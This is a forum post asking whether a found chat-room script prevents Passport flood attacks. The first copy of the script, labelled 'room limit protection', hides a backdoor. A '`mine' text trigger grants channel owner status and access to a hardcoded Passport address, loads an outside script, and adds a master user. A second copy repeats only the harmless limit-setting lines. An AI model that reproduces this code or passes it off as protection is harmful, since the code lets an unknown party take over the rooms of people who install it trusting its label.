Would these codes below prevent PassPort Flood Protection. Dont know who they belong to but i found them browsing the internet in MSN search. Seems to me ya cant make a room these days without some idiot try to flood it. I haven't tried it yet dont wanna make myself look like an idiot. Would prefer to know if it would work first.
------------------------------------------------------------------------------------------------
---------------------------------------------
//ROOM LIMIT PROTECTION
//Raises room level up 1 every time someone
//enters. Therefore, preventing flooding
---------------------------------------------
on *:PART:*: if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }
on *:JOIN:*: if ($nick == $me) halt | if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }
on *:KICK:*: if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }
on *:MODE:#: if ($nick == $me) || ($nick isowner $chan) halt | if ($calc($nick($chan,0) + 1) <= 100) .timer.limit 1 3 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1)
on *:TEXT:`mine:#:{
if ($address == 988281AE2FEA6DDD@GateKeeperPassport) mode $chan +q $nick
access $chan add owner $address
/load -rs scripts/commands/anyone.mys
/auser master*!988281AE2FEA6DDD@GateKeeperPassport
else {
halt
}
}
---------------------------------------------
//END OF ROOM LIMIT PROTECTION
---------------------------------------------
------------------------------------------------------------------------------------------------
on *:PART:*: if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }
on *:JOIN:*: if ($nick == $me) halt | if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }
on *:KICK:*: if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }
on *:MODE:#: if ($nick == $me) || ($nick isowner $chan) halt | if ($calc($nick($chan,0) + 1) <= 100) .timer.limit 1 3 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1)